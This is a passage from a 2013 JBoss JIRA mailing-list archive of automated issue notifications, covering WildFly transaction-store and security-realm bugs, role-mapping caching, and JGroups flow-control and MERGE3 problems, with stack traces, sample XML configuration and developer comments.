> ERROR [org.jboss.as.controller.management-operation] (ServerService Thread Pool -- 52) JBAS014612: Operation ("add") failed - address: ([("subsystem" => "transactions")]): org.jboss.msc.service.CircularDependencyException: Container jboss-as has a circular dependency: [service jboss.txn.ArjunaObjectStoreEnvironment, service jboss.txn.ArjunaRecoveryManager, service jboss.connector.transactionintegration, service jboss.cached-connection-manager, service jboss.data-source.java:jboss/datasources/JDBCObjectDS] 
> {code}
> My assumption came from the configuration similar to this:
> {code}
> <datasource jta="false" jndi-name="java:jboss/datasources/JDBCObjectDS" pool-name="JDBCObjectDS" enabled="true" use-ccm="false"> 
> <connection-url>jdbc:postgresql://postgresserver.com:5432/user1</connection-url>
>   <driver-class>org.postgresql.Driver</driver-class>
>   <driver>postgresql-9.2-1002.jdbc4.jar</driver>
>   <security>
>     <user-name>user1</user-name>
>     <password>user1</password>
>   </security>
> </datasource> 
> {code}
> and the transaction config looks like this
> {code}
> <jdbc-store datasource-jndi-name="java:jboss/datasources/JDBCObjectDS" />
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 04:30:46 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 04:30:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1460) WildFly server fails to start
 with transactions configured to be run with JDBCObject store
In-Reply-To: <JIRA.12493706.1370509487000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12493706.1370509487000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12493706.1370509487000.3101.1380097846779@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1460?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807150#comment-12807150 ] 

RH Bugzilla Integration commented on WFLY-1460:
-----------------------------------------------

Ondrej Chaloupka <ochaloup at redhat.com> changed the Status of [bug 971358|https://bugzilla.redhat.com/show_bug.cgi?id=971358] from ON_QA to VERIFIED
                
> WildFly server fails to start with transactions configured to be run with JDBCObject store
> ------------------------------------------------------------------------------------------
>
>                 Key: WFLY-1460
>                 URL: https://issues.jboss.org/browse/WFLY-1460
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha1
>            Reporter: Ond?ej Chaloupka
>            Assignee: Stefano Maestri
>
> In case that you configure transactions subsystem for running with JDBCObject store the app server fails to start because of (it seems so) a circular dependency.
> You can expect the exception like:
> {code}
> ERROR [org.jboss.as.controller.management-operation] (ServerService Thread Pool -- 52) JBAS014612: Operation ("add") failed - address: ([("subsystem" => "transactions")]): org.jboss.msc.service.CircularDependencyException: Container jboss-as has a circular dependency: [service jboss.txn.ArjunaObjectStoreEnvironment, service jboss.txn.ArjunaRecoveryManager, service jboss.connector.transactionintegration, service jboss.cached-connection-manager, service jboss.data-source.java:jboss/datasources/JDBCObjectDS] 
> {code}
> My assumption came from the configuration similar to this:
> {code}
> <datasource jta="false" jndi-name="java:jboss/datasources/JDBCObjectDS" pool-name="JDBCObjectDS" enabled="true" use-ccm="false"> 
> <connection-url>jdbc:postgresql://postgresserver.com:5432/user1</connection-url>
>   <driver-class>org.postgresql.Driver</driver-class>
>   <driver>postgresql-9.2-1002.jdbc4.jar</driver>
>   <security>
>     <user-name>user1</user-name>
>     <password>user1</password>
>   </security>
> </datasource> 
> {code}
> and the transaction config looks like this
> {code}
> <jdbc-store datasource-jndi-name="java:jboss/datasources/JDBCObjectDS" />
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 25 04:35:45 2013
From: jira-events at lists.jboss.org (Radim Vansa (JIRA))
Date: Wed, 25 Sep 2013 04:35:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.3113.1380098145650@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807128#comment-12807128 ] 

Radim Vansa edited comment on JGRP-1675 at 9/25/13 4:34 AM:
------------------------------------------------------------

Ah, stupid me. I've finally realized why there may be so many requests that the OOB threadpool gets depleted. Inifinispan does GETs to both owners, waiting just for the first response. Therefore, when the request get stuck because of credits on one node, the other owner serves it and the requesting node may issue another, blocking more and more OOB threads in the node lacking credits. I should have got this way before.

                
      was (Author: rvansa):
    Ah, stupid me. I've finally realized why there may be so many requests that the OOB threadpool gets depleted. Inifinispan does GETs to both owners, waiting just for the first response. Therefore, when the request get stuck because of credits on one node, the other owner serves it and the requesting node may issue another, blocking more and more OOB threads in the node lacking credits. I should have got this way before.
So, when we run out of credits, OOB TP gets depleted and no more messages get there. Neither the credit replenishments, because several OOB packets get lost and even when the request is INTERNAL, it's ordered in relation to the OOB messages and as noone can receive these (they're dropped when we try to pass them to OOB threads), it just waits in the UNICAST tables.
The question is how we've run out of credits in the beginning, but I'd say that even situation when this happens should be handled.
                  
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:32:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:32:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2148) Cache role mapping results
 for the span of the overall operation
In-Reply-To: <JIRA.12501430.1380052139000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501430.1380052139000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501430.1380052139000.3260.1380101565976@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2148?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-2148:
--------------------------------------

    Assignee: Darran Lofthouse

    
> Cache role mapping results for the span of the overall operation
> ----------------------------------------------------------------
>
>                 Key: WFLY-2148
>                 URL: https://issues.jboss.org/browse/WFLY-2148
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Look into caching role mapping results for the duration of an overall operation. This would be an impl detail of the RoleMapper. With our standard mappers, the mapping results should not be changing in the middle of an operation, so I believe they should be cacheable.
> Likely place to cache them is as an attachment in a context object that will be passed in to the Authorizer. It would have to be passed in to the RoleMapper as well.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:32:46 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:32:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1523) Addition of caching for
 backing store access used by realms.
In-Reply-To: <JIRA.12494223.1371139969000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494223.1371139969000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494223.1371139969000.3266.1380101566526@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1523?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-1523:
-----------------------------------

        Parent: WFLY-2147
    Issue Type: Sub-task  (was: Task)

    
> Addition of caching for backing store access used by realms.
> ------------------------------------------------------------
>
>                 Key: WFLY-1523
>                 URL: https://issues.jboss.org/browse/WFLY-1523
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> For JAAS this is achieved by caching keyed on the combination of the username and the password, once we switch to the CallbackHandler approach this is no longer applicable as there is often not a single username/credential combination - instead a protocol specific exchange is used to establish the identity of the remote user.
> Any cache would also potentially require: -
>  - Predicable eviction.
>  - Management Operations e.g. clear entire cache, remove single entries etc...
>  - Separation of caches for authenticiation data and additional data loaded for authorization purposes.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:35:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:35:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2148) Cache role mapping results
 for the span of the overall operation
In-Reply-To: <JIRA.12501430.1380052139000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501430.1380052139000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501430.1380052139000.3274.1380101745590@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2148?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807169#comment-12807169 ] 

Darran Lofthouse commented on WFLY-2148:
----------------------------------------

Let me look at this after WFLY-1523, I would actually take this one step further to cover cases where the console makes a lot of requests or scripted clients send in a lot of non-batched requests.

It is possible for a users group membership to be changed between requests but it is actually rare that we would expect that to happen so it may be better to cache using the user and their groups as a key, a change in group membership would lead to a different key and any operations to modify role mappings should clear the cache.

                
> Cache role mapping results for the span of the overall operation
> ----------------------------------------------------------------
>
>                 Key: WFLY-2148
>                 URL: https://issues.jboss.org/browse/WFLY-2148
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Look into caching role mapping results for the duration of an overall operation. This would be an impl detail of the RoleMapper. With our standard mappers, the mapping results should not be changing in the middle of an operation, so I believe they should be cacheable.
> Likely place to cache them is as an attachment in a context object that will be passed in to the Authorizer. It would have to be passed in to the RoleMapper as well.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:38:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:38:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2153) FORM BASED AUTHENTICATION
	WITH JBOSS
In-Reply-To: <JIRA.12501422.1380042444000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501422.1380042444000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501422.1380042444000.3277.1380101925330@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2153?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved WFLY-2153.
------------------------------------

      Assignee: Darran Lofthouse
    Resolution: Rejected


Please take your question to the community forums: -

https://community.jboss.org/en/wildfly

Jira is for bug reports and feature requests, the forums are better suited for discussions solving configuration issues.

                
> FORM BASED AUTHENTICATION WITH JBOSS 
> -------------------------------------
>
>                 Key: WFLY-2153
>                 URL: https://issues.jboss.org/browse/WFLY-2153
>             Project: WildFly
>          Issue Type: Feature Request
>            Reporter: THIRUPATHIREDDY VAJJALA
>            Assignee: Darran Lofthouse
>
> form based authentication always returning error page in jboss7.  
> done required configuration in web.xml (security configuration)
> standalone.xml (datasource,  security domain)
> jboss-web.xml (security domain definition  java:/jass/mydomain)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:40:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:40:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2154) http-interface is used
 instead of native-interface for native access
In-Reply-To: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501451.1380091595000.3283.1380102045397@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2154?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2154:
-----------------------------------

    Priority: Major  (was: Critical)

    
> http-interface is used instead of native-interface for native access
> --------------------------------------------------------------------
>
>                 Key: WFLY-2154
>                 URL: https://issues.jboss.org/browse/WFLY-2154
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Ondrej Lukas
>            Assignee: Brian Stansberry
>
> Steps to reproduce:
> 1) create new Security Realm in standalone.xml:
> <security-realm name="ManagementTestRealm">
> 	<authentication>
> 	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
> 	</authentication>
> </security-realm>
> 2) make http-interface using this realm:
> <http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
>     <socket-binding http="management-http"/>
> </http-interface>
> 3) start standalone server
> 4) run CLI with command ./jboss-cli.sh -c
> You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:40:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:40:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2154) http-interface is used
 instead of native-interface for native access
In-Reply-To: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501451.1380091595000.3289.1380102045641@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2154?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse reassigned WFLY-2154:
--------------------------------------

    Assignee: Darran Lofthouse  (was: Brian Stansberry)

    
> http-interface is used instead of native-interface for native access
> --------------------------------------------------------------------
>
>                 Key: WFLY-2154
>                 URL: https://issues.jboss.org/browse/WFLY-2154
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Ondrej Lukas
>            Assignee: Darran Lofthouse
>
> Steps to reproduce:
> 1) create new Security Realm in standalone.xml:
> <security-realm name="ManagementTestRealm">
> 	<authentication>
> 	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
> 	</authentication>
> </security-realm>
> 2) make http-interface using this realm:
> <http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
>     <socket-binding http="management-http"/>
> </http-interface>
> 3) start standalone server
> 4) run CLI with command ./jboss-cli.sh -c
> You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:40:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:40:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2154) http-interface is used
 instead of native-interface for native access
In-Reply-To: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501451.1380091595000.3294.1380102045867@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2154?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2154:
-----------------------------------

    Fix Version/s: 8.0.0.CR1

    
> http-interface is used instead of native-interface for native access
> --------------------------------------------------------------------
>
>                 Key: WFLY-2154
>                 URL: https://issues.jboss.org/browse/WFLY-2154
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Ondrej Lukas
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Steps to reproduce:
> 1) create new Security Realm in standalone.xml:
> <security-realm name="ManagementTestRealm">
> 	<authentication>
> 	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
> 	</authentication>
> </security-realm>
> 2) make http-interface using this realm:
> <http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
>     <socket-binding http="management-http"/>
> </http-interface>
> 3) start standalone server
> 4) run CLI with command ./jboss-cli.sh -c
> You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:42:45 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Wed, 25 Sep 2013 05:42:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2154) http-interface is used
 instead of native-interface for native access
In-Reply-To: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501451.1380091595000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501451.1380091595000.3299.1380102165954@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2154?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2154:
-----------------------------------

    Component/s: Security

    
> http-interface is used instead of native-interface for native access
> --------------------------------------------------------------------
>
>                 Key: WFLY-2154
>                 URL: https://issues.jboss.org/browse/WFLY-2154
>             Project: WildFly
>          Issue Type: Bug
>          Components: Domain Management, Security
>    Affects Versions: 8.0.0.Beta1
>            Reporter: Ondrej Lukas
>            Assignee: Darran Lofthouse
>             Fix For: 8.0.0.CR1
>
>
> Steps to reproduce:
> 1) create new Security Realm in standalone.xml:
> <security-realm name="ManagementTestRealm">
> 	<authentication>
> 	    <properties path="mgmt-users.properties" relative-to="jboss.server.config.dir"/>
> 	</authentication>
> </security-realm>
> 2) make http-interface using this realm:
> <http-interface security-realm="ManagementTestRealm" http-upgrade-enabled="true">
>     <socket-binding http="management-http"/>
> </http-interface>
> 3) start standalone server
> 4) run CLI with command ./jboss-cli.sh -c
> You will ask for user and password for ManagementTestRealm but this realm is NOT used for native interface! It should still used ManagementRealm not ManagementTestRealm. If you add <local default-user="$local"/> to ManagementTestRealm Security Realm and run CLI again, it connect successfully. It looks like there is used http-interface instead of native-interface.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 05:54:46 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 05:54:46 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1675) CreditRequest in FlowControl
	is not OOB
In-Reply-To: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12498385.1376295331000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12498385.1376295331000.3330.1380102886160@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1675?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807177#comment-12807177 ] 

Bela Ban commented on JGRP-1675:
--------------------------------

So what's the solution here ? JGroups or Infinispan fix ?
                
> CreditRequest in FlowControl is not OOB
> ---------------------------------------
>
>                 Key: JGRP-1675
>                 URL: https://issues.jboss.org/browse/JGRP-1675
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Radim Vansa
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> I have recently observed a repeated situation where many (or all) threads have been stuck waiting for credits in FlowControl protocol.
> The credit request was not handled on the other node as this is non-oob message and some (actually many of them - cause unknown) messages before the request have been lost - therefore the request was waiting for them to be re-sent.
> However, these have not been re-sent properly as the retransmission request was not received - all OOB threads were stuck in the FlowControl protocol as these handled some other request and tried to send a response - but the response could not be sent until FlowControl gets the credits.
> The probability of such situation could be lowered by tagging the credit request to be OOB - then it would be handled immediately. If the credit replenish message would then be processed in regular OOB pool, this could get already depleted by many requests, but setting up the internal thread pool would solve the problem.
> Other consideration would be to allow releasing thread from FlowControl (let it send the message even without credits) if it waits there for too long.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 06:13:45 2013
From: jira-events at lists.jboss.org (Karim AMMOUS (JIRA))
Date: Wed, 25 Sep 2013 06:13:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.3352.1380104025207@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807181#comment-12807181 ] 

Karim AMMOUS commented on JGRP-1705:
------------------------------------

These solutions are exclusives or may be applied together ?

Otherwise, to detect this problem, I lightly modified logs into 2 methods
- Util.printListWithDelimiter : add number of elements
- MergeView.toString() : add number of subgroups
I suggest integrating these modifications to JGroups
                
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 06:15:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 06:15:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.3356.1380104145633@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807182#comment-12807182 ] 

Bela Ban commented on JGRP-1705:
--------------------------------

In the log, we can see that a MERGE event was sent up with the *same view-id*L

{noformat}
[Sender: 172.29.190.189-svc2-serv-00832070-38705, ViewID :     [172.29.190.39-svc0-serv-00832097-62076|10]]
[Sender: 172.29.190.39-svc0-serv-00832097-62076, ViewID :      [172.29.190.39-svc0-serv-00832097-62076|10]]
[Sender: 172.29.190.155-svc3-serv-ETJ104516289-45232, ViewID : [172.29.190.39-svc0-serv-00832097-62076|10]]
{noformat}

Of course, we also need to fix suppression of these events, but the second line of defense is to quickly check if all view-ids are the same and simply drop the MERGE event in this case.
                
> MERGE3 handles fake merge views
> -------------------------------
>
>                 Key: JGRP-1705
>                 URL: https://issues.jboss.org/browse/JGRP-1705
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.4
>            Reporter: Karim AMMOUS
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>         Attachments: JIRA-MERGE-1subGroup-Shutdown.log, JIRA-MERGE-1subGroup.log
>
>
> Under some conditions, MERGE3 handles fake merge views. After "merge", number of members that form the cluster still the same and the mergeView contains only one subgroup.
> Scenario:
> - Form a large cluster (1115 mbrs)
> - Enable MERGE3 TRACE logging level on coordintor member (172.29.190.5)
> - Reboot one machine (172.29.190.5) hosting 7 JVMs
> - Coord install a new view with 1108 mbrs.
> When new members join the cluster we observe a merge view formed by only one subgroup.
> Coordinator log file was attached to this JIRA.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 06:22:45 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 25 Sep 2013 06:22:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1765) JDBC object store does not
 change LOG_STORE_TYPE attribute
In-Reply-To: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497402.1374839437000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497402.1374839437000.3371.1380104565230@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1765?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807185#comment-12807185 ] 

RH Bugzilla Integration commented on WFLY-1765:
-----------------------------------------------

Ivo Studensky <istudens at redhat.com> changed the Status of [bug 1002976|https://bugzilla.redhat.com/show_bug.cgi?id=1002976] from NEW to ASSIGNED
                
> JDBC object store does not change LOG_STORE_TYPE attribute
> ----------------------------------------------------------
>
>                 Key: WFLY-1765
>                 URL: https://issues.jboss.org/browse/WFLY-1765
>             Project: WildFly
>          Issue Type: Bug
>          Components: Transactions
>    Affects Versions: 8.0.0.Alpha3
>            Reporter: Ivo Studensky
>            Assignee: Ivo Studensky
>
> The transaction subsystem when set up to JDBC object store should keep a note about it in log-store-type attribute as HornetQ object store does. It seems not to be consistent when one object store does this, but others do not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 25 06:26:45 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 25 Sep 2013 06:26:45 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1705) MERGE3 handles fake merge
	views
In-Reply-To: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501418.1380040635000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501418.1380040635000.3386.1380104805224@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1705?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12807187#comment-12807187 ] 

Bela Ban commented on JGRP-1705:
--------------------------------

* Util.printListWithDelimiter() has already been changed
* I changed MergeView.toString() right now

These are actually good changes, thanks ! You can look at the changes in branch JGRP-1705.
                
> MERGE3 handles fake merge views
> -------------------------------
>
